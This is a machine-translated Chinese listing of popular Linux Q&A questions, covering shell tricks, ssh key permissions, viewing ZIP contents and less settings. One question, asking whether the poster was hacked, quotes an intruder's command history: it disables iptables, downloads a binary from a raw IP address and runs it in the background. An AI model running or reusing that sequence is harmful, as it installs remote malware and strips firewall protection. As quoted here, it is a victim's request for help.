标签: linux

如果达到特定的噪音水平,如何使机器“黑屏”一段时间(作为惩罚)?

我的孩子(4 岁和 5 岁)在电脑上玩游戏时会大喊大叫。我找到了一种有效的治疗方法。当我听到很大的噪音时,我会进入游戏计算机并执行以下操作:

chvt 3;  sleep 15;  chvt 7 
Run Code Online (Sandbox Code Playgroud)

这将在 Linux 上关闭屏幕 15 秒。我告诉他们电脑不喜欢大声喧哗。他们完全相信这一点,并请求计算机原谅。他们变得更安静了,但没有达到我会高兴的程度,所以我需要继续这个教育过程。但是,我并不总是手动执行此操作。

是否可以自动执行此操作?麦克风附在盒子上。如果响度水平超过某个阈值,那么我想运行一个命令。

audio linux shell parental-controls

1567
推荐指数
6
解决办法
16万
查看次数

1557
推荐指数
10
解决办法
130万
查看次数

每当文件更改时如何执行命令?

我想要一种快速而简单的方法来在文件更改时执行命令。我想要一些非常简单的东西,我会在终端上运行并在我完成处理该文件时关闭它。

目前,我正在使用这个:

while read; do ./myfile.py ; done
Run Code Online (Sandbox Code Playgroud)

然后Enter,每当我将该文件保存在我的编辑器中时,我都需要转到该终端并按。我想要的是这样的:

while sleep_until_file_has_changed myfile.py ; do ./myfile.py ; done
Run Code Online (Sandbox Code Playgroud)

或任何其他简单的解决方案。

顺便说一句:我正在使用 Vim,我知道我可以添加一个自动命令来在 BufWrite 上运行一些东西,但这不是我现在想要的那种解决方案。

更新:如果可能的话,我想要一些简单的、可丢弃的。更重要的是,我想在终端中运行一些东西,因为我想查看程序输出(我想查看错误消息)。

关于答案:感谢您的所有回答!他们都非常好,每个人都采用与其他人截然不同的方法。因为我只需要接受一个,所以我接受了我实际使用过的一个(它简单、快速且易于记忆),尽管我知道它不是最优雅的。

linux unix script shell

549
推荐指数
21
解决办法
43万
查看次数

在 Linux 上查看 ZIP 存档中的文件列表

如何在不解压的情况下查看 ZIP 存档中的文件列表?

linux zip

542
推荐指数
7
解决办法
58万
查看次数

如何在linux上查找目录?

我有一个带有Suse Linux 10.3的 VPS 。

我已经通过SSH/putty登录并试图找到我的网络文件所在的位置。

由于我通过 FTP 在名为httpdocs的目录中上传,因此我假设该目录存在于某处。

我的谷歌搜索教会了我这样做,转到我的根目录并输入:

find httpdocs -type d

但它说“没有这样的文件或目录”。

我怎样才能找到这个目录?

linux command-line

517
推荐指数
5
解决办法
119万
查看次数

.ssh 文件夹中私钥的权限?

我更改了.ssh文件夹中的权限,现在当我使用使用我的私钥的软件时,我每次都必须输入密码。id_rsa每次使用使用它的应用程序时,我对文件的权限应该是什么?

目前我的权限设置为:

-rw-------@ 1 Jody  staff   114 Nov  4 23:29 config
-rw-------  1 Jody  staff  1743 Oct 21  2009 id_rsa
-rw-------@ 1 Jody  staff   397 Oct 21  2009 id_rsa.pub 
-rw-------@ 1 Jody  staff  3855 Sep 13 22:35 known_hosts
Run Code Online (Sandbox Code Playgroud)

linux permissions file-permissions macos

516
推荐指数
6
解决办法
60万
查看次数

Linux/UNIX 中的“您有新邮件”消息是什么?

有时,当我登录一个盒子并用“su”root 时,我会收到一条可爱的小消息,说我有邮件(感谢上帝,这不是 AOL)。

  • 这个邮件在哪里?
  • 它包含什么?
  • 谁/什么发送的?
  • 它有多重要?

这甚至是与电子邮件具有相同意义的实际“邮件”吗?或者只是我的系统告诉我什么?

编辑:关于这个问题,我是否可以像这样使用 sendmail 程序给自己发送邮件:email@localhost

linux email unix root

513
推荐指数
7
解决办法
64万
查看次数

如何关闭自动换行

简短版本:如何使lessLinux 中的实用程序不换行?

长版本:我经常需要使用较少的数百列来查看巨大的 CSV 文件。我经常只关心前几列。但是,即使在宽屏显示器上,自动换行也会导致一行变成多行。

linux command-line less

505
推荐指数
4
解决办法
17万
查看次数

我刚刚被黑了吗?

我正在开发一个消费产品,它应该连接到互联网,所以正如预期的那样,它连接到互联网以便我可以正确地开发它。

我离开了一两个小时,当我回到办公室时,我注意到终端上写着一些奇怪的命令。

查看名为auth.log我的 Linux 日志文件,我可以看到以下几行(还有更多):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]
Run Code Online (Sandbox Code Playgroud)

40.127.205.162事实证明,该 IP 地址归 Microsoft 所有

以下是我不在时使用的一堆命令:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360 …
Run Code Online (Sandbox Code Playgroud)

networking linux trojan

504
推荐指数
9
解决办法
6万
查看次数

读取带有“less”或“more”的文件时,如何以颜色获取内容?

当我在 Linux 中使用命令lessor读取文件时more,如何以颜色获取内容?

linux colors less

482
推荐指数
12
解决办法
25万
查看次数